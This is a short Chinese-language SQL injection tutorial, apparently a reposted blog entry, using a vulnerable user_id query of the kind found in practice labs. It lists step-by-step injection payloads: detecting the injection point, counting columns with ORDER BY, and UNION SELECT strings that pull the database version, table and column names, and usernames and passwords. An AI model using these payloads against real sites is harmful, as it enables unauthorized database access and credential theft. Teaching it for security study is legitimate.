SQL注入詳解
SQL注入的概念
SQL注入是指攻擊者通過注入惡意的SQL命令,破壞SQL查詢陳述句的結構,從而達到執行惡意SQL陳述句的目的,
字符注入
后臺陳述句模板
SELECT first_name,last_name FROM users WHERE user_id = ‘$id’;
正常訪問
SELECT first_name,last_name FROM users WHERE user_id = ‘1’;
構造SQL注入陳述句
SELECT firs_name,last_name FROM users WHERE user_id = ‘1’union select1,2#’;
- 判斷是否有注入點?
- 先輸入1,頁面正常

- 在輸入1’,頁面不正常

- 判斷可能有注入點
- 判斷注入點型別?
- 1 and 1=1,正常回傳

-
1 and 1=2,正常回傳

-
1’ and 1=1#,正常回傳

- 1’ and 1=2#,無回傳

- 結合上面四組測驗,判斷此注入點為字符型注入
- 判斷其資料庫有幾列
1' order by n#(n為測驗數字)
-
1’ order by 3#,頁面報錯,說明列數小于3

-
1’ order by 2#,頁面正常,說明資料庫有2列

- 查詢當前資料庫名,以及版本號
- 1’ union select version(),database()#

- 獲取資料庫中的表名
- 1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

- 獲取表中的欄位名,這里以users表為例
- 1’ union select 1, group_concat(column_name) from information_schema.columns where table_name=‘users’#

- 獲得欄位中的資料
- 1’ union select user,password from users#

轉載請註明出處,本文鏈接:https://www.uj5u.com/ruanti/224308.html
標籤:其他
